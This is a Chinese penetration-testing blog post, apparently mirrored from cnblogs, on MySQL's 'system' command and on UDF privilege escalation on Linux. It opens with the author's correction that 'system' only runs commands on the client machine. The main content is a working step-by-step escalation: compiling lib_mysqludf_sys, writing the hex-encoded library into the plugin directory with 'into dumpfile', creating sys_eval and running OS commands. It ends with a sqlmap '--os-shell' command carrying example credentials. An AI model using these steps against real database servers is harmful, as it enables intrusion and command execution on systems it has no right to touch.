zoukankan      html  css  js  c++  java
  • MySQL的system命令在渗透测试中的使用以及UDF提权

    声明:下面引用关于SYSTEM的东西是自己之前的内容,是自己没有研究透导致的错误结论:有了错就要改,做技术的不能弄虚作假,时时刻刻要求自己要谨慎,虽然我的博客没人看,但是也要向所有已经看到的人道歉,错了就是错了。

    说明:

    错误点:SYSTEM执行的是MYSQL-CLI客户端自己所在机器的命令,也就是你使用mysql命令行方式连接到对端后,使用SYSTEM执行的还是自己所在机器的指令。比如你system whoami,你会发现是你自己的主机账户名。所以无法用在渗透过程的当中,特此声明。

    一、MySQL中的system命令

    在MySQL 5.x中增加了system命令,简单的符号是!,从而使MySQL可以执行系统的命令

    1 mysql> system echo "12345"
    2 12345

    因为突发奇想,可以使用这个办法反弹shell

    结果OK:

    尝试和select拼接执行,这样是成功的

    想到这里其实可以拼接在SQL注入语句中执行OS命令,或者能连上MySQL之后直接执行OS命令反弹shell。

    二、MySQL UDF提权

    这里按照linux类操作系统举例了,服务器端用windows真的没意思了,虽然还有很多。https://github.com/mysqludf/lib_mysqludf_sys解压后进入(git clone后直接进入)目录:

    1 gcc -DMYSQL_DYNAMIC_PLUGIN -fPIC -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so

    如果遇到报错:

    1 In file included from lib_mysqludf_sys.c:40:
    2 /usr/include/mysql/my_global.h:626:25: error: my_compiler.h: No such file or directory

    可以做如下修改:修改/usr/include/mysql/my_global.h文件,注释626行后重新编译。并使用Hex.hta获取16进制。

     1 mysql> show variables like '%plugin%';
     2 +---------------+-------------------------+
     3 | Variable_name | Value                   |
     4 +---------------+-------------------------+
     5 | plugin_dir    | /usr/lib64/mysql/plugin |
     6 +---------------+-------------------------+
     7 1 row in set (0.00 sec)
     8 
     9 mysql> select * from func; #检查是否已经有人导出过了
    10 mysql> select unhex('hexcode') into dumpfile '/usr/lib64/mysql/plugin/mysqludf.so';
    11 Query OK, 1 row affected (0.01 sec)#需要有/usr/lib64/mysql/plugin/目录的写入权限
    12 
    13 mysql> create function sys_eval returns string soname 'mysqludf.so';
    14 Query OK, 0 rows affected (0.00 sec)
    15 
    16 mysql> select sys_eval('whoami');
    17 +--------------------+
    18 | sys_eval('whoami') |
    19 +--------------------+
    20 | mysql
    21              |
    22 +--------------------+
    23 1 row in set (0.03 sec)
    24 
    25 mysql> select * from func;
    26 +----------+-----+-------------+----------+
    27 | name     | ret | dl          | type     |
    28 +----------+-----+-------------+----------+
    29 | sys_eval |   0 | mysqludf.so | function |
    30 +----------+-----+-------------+----------+
    31 1 row in set (0.00 sec)
    32 
    33 mysql> drop function sys_eval;
    34 Query OK, 0 rows affected (0.00 sec)
    35 
    36 mysql> select * from func;
    37 Empty set (0.00 sec)

    或者使用sqlmap 执行提权:

    1 #sqlmap -d "mysql://root:toor@192.168.99.213:3306/test" --os-shell
    2 #test的地方是database name
  • 相关阅读:
    git
    *** errRun
    Centos与Debian的安装命令
    HTML基础
    基本的SQL语言
    phpstudy靶场搭建
    Centos7下搭建服务器(apache+mysql+php)
    Centos7设置yum源
    Linux基础
    一个服务器中搭建多个站点
  • 原文地址:https://www.cnblogs.com/KevinGeorge/p/8394545.html
Copyright © 2011-2022 走看看